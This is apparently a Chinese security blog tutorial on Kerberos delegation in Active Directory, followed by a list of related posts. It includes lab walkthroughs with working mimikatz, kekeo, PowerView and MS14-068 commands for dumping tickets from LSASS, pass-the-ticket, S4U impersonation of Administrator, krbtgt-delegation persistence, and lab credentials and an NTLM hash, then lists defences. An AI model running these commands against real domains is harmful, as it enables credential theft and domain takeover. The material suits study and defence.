委派

域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。

服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,

会在域内自动注册服务账号'SqlServiceAccount',这类账号不能用于交互式登录。

上图是经典的应用场景。一个域内普通用户jack通过Kerberos协议认证到前台WEB服后,前台运行WEB服务的服务账号websvc模拟(Impersonate)用户jack,以Kerberos协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中跳或者多跳的Kerberos认证。按照图中红色字体的数字,具体步骤如下:

1. 域内用户jack以Kerberos方式认证后访问Web服务器;2. Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;3. KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据TGT;4. websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据TGS;5. KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据TGS;6. websvc收到的jack用户的授权票据TGS后,可访问文件服务,完成多跳认证。

在域中,只有 服务账号 和 主机账号 才具有委派属性

主机账号就是AD活动目录中 Computers 中的计算机,也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。

委派的前提

需要被委派的用户未设置不允许被委派属性,这里如果打勾则Administrator用户不能够被委派

非约束性委派

对于非约束性委派,服务账号可以获取被委派用户的 TGT ,并将 TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟用户访问任意服务。

当服务账号或者主机被设置为非约束性委派时,其 userAccountControl 属性会包含 WORKSTATION_TRUSTED_FOR_DELEGATION

从网络攻击的角度看,如果攻击者控制了服务账号B,并诱骗管理员来访问服务A,则可以获取管理员的TGT,进而模拟管理员访问任意服务,即获得管理员权限。越是大型网络、应用越多的网络,服务账号越多,委派的应用越多,越容易获取域管理员权限。

约束性委派

由于非约束委派的不安全性,微软在Windows Server 2003中发布了约束性委派。对于约束性委派(Constrained Delegation),即Kerberos的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy),服务账号只能获取用户的TGS,从而只能模拟用户访问特定的服务。

配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性,还会指定对哪个SPN进行委派。

基于资源的约束性委派

为了使用户/资源更加独立,微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,而把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派只能在运行WindowsServer2012和Windows Server 2012R2及以上的域控制器上配置,但可以在混合模式林中应用。配置了基于资源的约束委派的账户的userAccountControl属性为 WORKSTATION_TRUST_ACCOUNT,并且msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许基于资源约束性委派的账号的SID。

基于资源的约束性委派和约束性委派差别

委派的权限授予给了拥有资源的后端(B),而不再是前端(A)

约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林

不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑”msDS-AllowedToActOnBehalfOfOtherIdentity”属性的权限,也就是将计算机加入域的域用户 和 机器自身 拥有权限。

传统的约束委派是“正向的”,通过修改服务A的属性”msDS-AllowedToDelegateTo”,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。

而基于资源的约束委派则是相反的,通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。

非约束委派和约束委派的流程

非约束委派流程

前提:在机器账号B上配置了非约束性委派(域管理员才有权限配置)

1.用户访问机器B的某个服务,于是向KDC认证。KDC会检查机器B的机器账号的属性,发现是非约束性委派,KDC会将用户的TGT放在ST服务票据中。

2.用户访问机器B时,TGT票据会和ST服务票据一同发送给机器B

3.这样B在验证ST服务票据的同时获取了用户的TGT,并将TGT存储在LSASS进程中,从而可以模拟用户访问任意服务。

从网络攻击的角度来看,如果攻击者控制了机器B的机器账号,并且机器B配置了非约束性委派。则攻击者可以诱骗管理员来访问机器B,然后攻击者可以获取管理员的TGT,从而模拟管理员访问任意服务,即获得了管理员权限。

约束性委派流程

前提:在服务A上配置到服务B约束性委派(域管理员才有权限配置)

1.用户访问服务A,于是向域控进行kerberos认证,域控返回ST1服务票据给用户,用户使用此服务票据访问服务A

2.若该服务A允许委派给服务B,则A能使用S4U2Proxy协议将用户发送给自己的可转发的ST1服务票据以用户的身份再转发给域控制器。于是域控返回给服务A一个ST2服务票据。

3.服务A便能使用获得的ST2服务票据以用户的身份访问服务B。

从网络攻击的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以利用服务A以administrator身份访问域控的CIFS服务,即相当于控制了域控。

筛选非委派属性的账号

注:域控主机账户默认开启非约束委派

PowerSploit下的PowerView.ps1脚本

Import-Module .\\PowerView.ps1;

查询域中配置非约束委派的账户

Get-NetUser -Unconstrained -Domain Drunkmars.comGet-NetUser -Unconstrained -Domain Drunkmars.com \| select name

查询域中配置非约束委派的主机:

Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select nam

ADFind

使用参数

AdFind [switches] [-b basedn] [-f filter] [attr list]

参数说明:

-b:指定要查询的根节点

-f:LDAP过滤条件

attr list:需要显示的属性

查找域中配置非约束委派的用户:

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName

查找域中配置非约束委派的主机:

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName

ldapsearch

kali自带,可以在域外使用

查找域中配置非约束委派的用户

ldapsearch -x -H ldap://192.168.200.143:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org""(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

查找域中配置非约束委派的主机

powershell ldapsearch -x -H ldap://192.168.200.146:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"

查询某用户是否具有委派性

Import-Module .\\powerview.ps1;Get-DomainUser 域用户名 -Properties
useraccountcontrol,msds-allowedtodelegateto| fl

当该账号没委派属性时,查询不出任何信息

当服务账号被设置为 非约束性委派 时,其 userAccountControl 属性会包含为 TRUSTED_FOR_DELEGATION

当被设置为 约束性委派 时,其 userAccountControl 属性包含

TRUSTED_TO_AUTH_FOR_DELEGATION

https://msdn.microsoft.com/en-us/library/aa772300%28v=vs.85%29.aspx

且msds-allowedtodelegateto 属性会被设置为哪些 SPN。

非约束委派攻击

非约束委派:当user访问service1时,如果service1的服务账号开启了 unconstrained delegation (非约束委派),则当 user 访问 service1时会将user的 TGT 发送给 service1 并保存在内存中以备下次重用,然后 service1 就可以利用这张 TGT 以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

操作环境:

  • 域:Drunkmars.com

  • 域控:windows server 2012R2,主机名:WIN-M836NN6NU8B,IP:192.168.10.5

  • 域管账户:sqladmin

  • 域内主机:windows7,主机名:MESSI-PC,IP:192.168.10.7,用户:mars2(普通域用户)

注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的

查找非约束委派主机帐号

Import-Module .\\powerview.ps1;Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name

导出票据

先访问DC,可以看到访问失败

用任意域管帐号访问win7(这里域管帐号登录在任意一台机器都可以)

此时,在主机win8的lsass.exe内存中就会有域用户sqladmin的TGT票据

我们在win8上以管理员权限运行mimikatz,执行以下命令

privilege::debug

导出票据

sekurlsa::tickets /export

注入票据

用 mimikatz 将这个票据导入内存中,然后访问域控

导入票据

kerberos::ptt [0;33f6ebf]-2-0-60a00000-sqladmin@krbtgt-0DAY.ORG.kirbi

查看票据

kerberos::list

访问域控

约束性委派攻击

操作环境:

域:0day.org

域内主机:windows 7 ,主机名:PC-jack-0day,IP:192.168.3.62,用户:jack

域控:OWA2010SP3

我们设置了机器用户PC-jack-0day对OWA2010SP3的 cifs 服务的委派

查找约束性委派的主机账号

请求用户TGT

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT

tgt::ask /user:PC-JACK-0DAY /domain:0day.org /password:password /ticket:test.kirbi

参数:

/user : 服务用户的用户名

/password : 服务用户的明文密码

/domain : 所在域名

/ticket : 指定票据名称,不过这个参数没有生效,可以忽略

kekeo同样也支持使用 NTLM Hash

在请求服务用户的TGT那步直接把 /password 改成 /NTLM 即可

这里我们知道PC-JACK-0DAY的ntlm hash为:768623e06fae601be0c04759c87d93d3

执行如下命令

tgt::ask /user:PC-JACK-0DAY /domain:0day.org /NTLM:768623e06fae601be0c04759c87d93d3 /ticket:test.kirbi

得到TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi

获取ST

然后我们可以使用这张TGT通过伪造s4u请求以 administrator 用户身份请求访问 OWA2010SP3 CIFS 的ST

tgs::s4u /tgt:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt\~0day.org@0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

S4U2Self 获取到的ST1以及 S4U2Proxy 获取到的OWA2010SP3 CIFS服务的ST2会保存在当前目录下

注入ST2

然后我们用mimikatz将ST2导入当前会话即可

kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi

访问域控

不知道服务用户密码的情况

如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用 mimikatz 直接从内存中把服务用户的TGT dump出来

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

注:sekurlsa::tickets 是列出和导出所有会话的 Kerberos 票据, sekurlsa::tickets 和 kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export 需要管理员权限的原因。并且 sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。

既然服务用户的TGT导出来了,我们就跳过 tgt::ask 请求TGT这步,直接 tgs::s4u

tgs::s4u /tgt:[0;3e7]-2-1-40e00000-PC-JACK-0DAY\$@krbtgt-0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi

抓包分析约束性委派攻击过程

这里可以看到有6个请求

AS-REQ

可以看到用户PC-JACK-0DAY用户向KDC请求一张TGT

AS-REP

返回一张TGT,这张TGT代表的就是PC-JACK-0DAY这个用户

第一次的TGS-REQ和TGS-REP

用这张 TGT 发送 S4U2self 请求,以 Administrator 的名义向 TGS 申请了一张访问自身服务的票据,ST1

第二次的TGS-REQ和TGS-REP

得到 ST1 之后,然后会带上ST1再次向 KDC 发起 SU42Proxy 请求,以 administrator 的名义请求一张访问 OWA2010SP3 cifs 服务的票据,ST2

利用约束性委派进行权限维持

我们都知道TGT的生成是由 krbtgt 用户加密和签名的,如果我们能委派域上的用户去访问TGS ,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用 krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。

注:TGS 默认的spn是 krbtgt/domain name ,我们操作环境是 krbtgt/QIYOU.COM

krbtgt 默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。

我们可以使用powershell来添加

Import-Module ActiveDirectory$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }

我们控制的用户选择的是自己创建的 test 域用户。密码Yicunyiye123

  • 域控:OWA2010SP3 192.168.200.146

  • 域:0day.org

  • 攻击机:Kali

首先修改 kali 的/etc/hosts/文件,添加如下内容

192.168.200.146 0day.org192.168.200.146 OWA2010SP3

创建域用户test然后赋予SPN

然后在域控上配置test用户到krbtgt用户的约束性委派

Import-Module ActiveDirectory$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }

可以看到test账户具有委派性

然后在kali上攻击

域委派的防御措施

因为委派比较实用我们也不能说直接简单粗暴关闭该功能

1.高权限用户可以设置不能被委派

可以看到administrator是无法成功的,但是sqladmin可以

2.Windows 2012R2及更高的系统建立了受保护的用户组,组内用户不允许被委派,这是有效的手段。受保护的用户组,当这个组内的用户登录时(windows2012 R2域服务器,客户端必须为Windows 8.1或之上),不能使用NTLM认证;适用于Windows Server 2016 , Windows Server 2012 R2 、 Windows Server 2012

3.一般TGT 4小时后失效

4.Kerberos预认证时不使用DES或者RC4等加密算法

PAC

原理分析:https://www.anquanke.com/post/id/192810h2-1

kerberos的流程:

1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgthash加密的TGT票据

2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgthash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据

3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就允许用户访问。

上面这个流程看起来没错,却忽略一个最重要的因素,那就是用户有没有权限访问该服务,在上面的流程里面,只要用户的hash正确,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以访问服务,任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题,并没有解决 “What can I do?”的问题。

在Kerberos最初设计的流程里说明了如何证明客户端的真实身份,但是并没有说明客户端是否有权限访问该服务,因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题,引入了 PAC (Privilege Attribute Certificate,特权属性证书) 的概念。

MS14-068

MS14-068编号CVE-2014-6324,补丁为3011780,如果自检可在域控制器上使用命令检测。systeminfo |find "3011780" 为 空说明该服务器存在MS14-068漏洞

环境:

域机器:MESSI-PC,win7,知道一个域用户和密码:mars2\Drunkmars,Fcb0519..,拥有该机器的管理员权限

域控:WIN-M836NN6NU8B,ip:192.168.10.5

生成票据

MS14-068.exe -u mars2@Drunkmars.com -p Fcb0519.. -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5

可以看到已经生成了TGT_mars2@Drunkmars.com.ccache

mimikatz导入票据

kerberos::ptc 票据路径

访问域控

实操推荐:Kerberos网络认证协议搭建与分析

实操地址:http://mrw.so/6e3cmI

Kerberos协议最初是麻省理工学院(MIT)为其Athena项目开发的。本实验主要介绍了windows server2003系统的域和DNS服务器的搭建,通过本实验的学习学会kerberos网络认证协议搭建方式。

戳“阅读原文”体验免费靶场!

kerberos委派详解相关推荐

  1. 全网最详细 | Kerberos协议详解

    目录 Kerberos基础 PAC特权属性证书 1. PAC结构 2. PAC凭证信息 3. PAC签名 4. KDC验证PAC 5. PAC在kerberos中的优缺点 Kerberos实验 AS- ...

  2. Kerberos协议详解

    协议的安全主要依赖于参加者对时间的松散同步和短周期的叫做Kerberos票据的认证声明. 下面是对这个协议的一个简化描述,将使用以下缩写: AS(Authentication Server)= 认证服 ...

  3. kerberos使用详解

    准备环境 准备三台虚拟机,其中一台安装kerberos的KDC,另外两台安装kerberos的客户端,需要保证三台机器的主机名可以被解析. 主机名 ip 角色 hadoop01 192.168.24. ...

  4. windows认证原理kerberos协议详解

    这里写目录标题 什么是kerberos协议 kerberos协议简略流程以及详细流程 kerberos协议局限性 什么是kerberos协议 kerberos是一种网络认证协议,通过密钥系统为客户端以 ...

  5. 双亲委派模型以及SpringFactoriesLoader详解(最全最简单的介绍)

    文章目录 前言 类加载的过程 类加载器 何为双亲委派模型 ClassLoader类的loadClass方法 双亲委派模型存在的问题 解决办法 以JDBC驱动管理为例 加载资源 SpringFactor ...

  6. JVM(1)之JVM的组成详解(字符串常量池+双亲委派机制+JIT即时编译......)

    以下总结自:<深入理解java虚拟机> + 宋红康老师视频 字节码文件介绍:深入理解JVM之Java字节码(.class)文件详解_Windy_729的博客-CSDN博客_字节码文件 JV ...

  7. Kerberos协议内容详解

    这篇帮助文档是由 Fulvio Ricciardi所写.原文地址https://kerberos.org/software/tutorial.html,目前翻译只校对了1-4章 文章目录 1 介绍 2 ...

  8. getinstance方法详解_二、设计模式总览及工厂模式详解

    二.架构师内功心法之设计模式 2.架构师内功心法之设计模式 2.1.课程目标 1.通过对本章内容的学习,了解设计模式的由来. 2.介绍设计模式能帮我们解决哪些问题. 3.剖析工厂模式的历史由来及应用场 ...

  9. OpenStack 系列之File Share Service(Manila)详解

    首先说下什么是OpenStack? OpenStack是一个开源的云计算管理平台项目,由几个主要的组件组合起来完成具体工作.OpenStack支持几乎所有类型的云环境,项目目标是提供实施简单.可大规模 ...

最新文章

  1. 一个插排引发的设计思想 (一) 观察者模式
  2. java开发工程师招聘软件,面试题附答案
  3. 暴力 gcd __gcd (详解)C语言求两个数的最大公约数
  4. NIO的空轮询bug是什么?netty是如何解决NIO空轮询bug的?
  5. Spring Boot Swagger3启动出现警告Unable to interpret the implicit parameter configuration with dataType
  6. Dart基础第5篇:自增自减运算符、for、while、do...while循环、continue、break、多维列表循环
  7. 第七代电子计算机,基于全新第七代智能英特尔®酷睿™处理器的最佳PC全面来袭...
  8. 另存为映射技术,异速联让导出导入更简单
  9. Ardunio开发实例-MAG3110磁传感器
  10. 知识图谱构建(概念,工具,实例调研)
  11. EVIEWS 学习基本操作+数据输入 01
  12. 智慧水务ZWS云平台方案,共促水务行业数字化建设
  13. 端口号从8080变成8081,cmd关闭8080端口
  14. 中考考试的指令广播_考试语音指令系统
  15. 工资3000,靠“视频剪辑”月入40000:会赚钱的人,从不靠拼命!
  16. 细菌(disease)解题报告 - 搜索与回朔
  17. UNIX环境高级编程——进程关系
  18. 观《我想吃掉你的胰脏》的一些看法
  19. 苹果8怎么投屏到电视_手机怎么投屏到电视?苹果手机投屏的三种方法
  20. 当贝OS版本更新:当贝智慧盒子Z1 Pro新增边看边聊,一起在线吐槽神剧

热门文章

  1. 怎么测试唱歌水平的软件,测试一下你的唱功到第几层了?到第五层你已经算是高手了...
  2. 【数据库笔记】Spark 小点汇总
  3. 越狱中的项目管理(转)
  4. VS Code权威指南目录
  5. STM32独立看门狗的配置
  6. 跟杨春娟学Spring笔记:自动装备Bean
  7. Linux driver oops异常的处理
  8. 圣邦微电子FAE_信号链笔试记录
  9. Python数据挖掘处理通话数据、短信以及上网记录完整项目+源码+源码解释
  10. 知识付费的下一个风口究竟在哪里?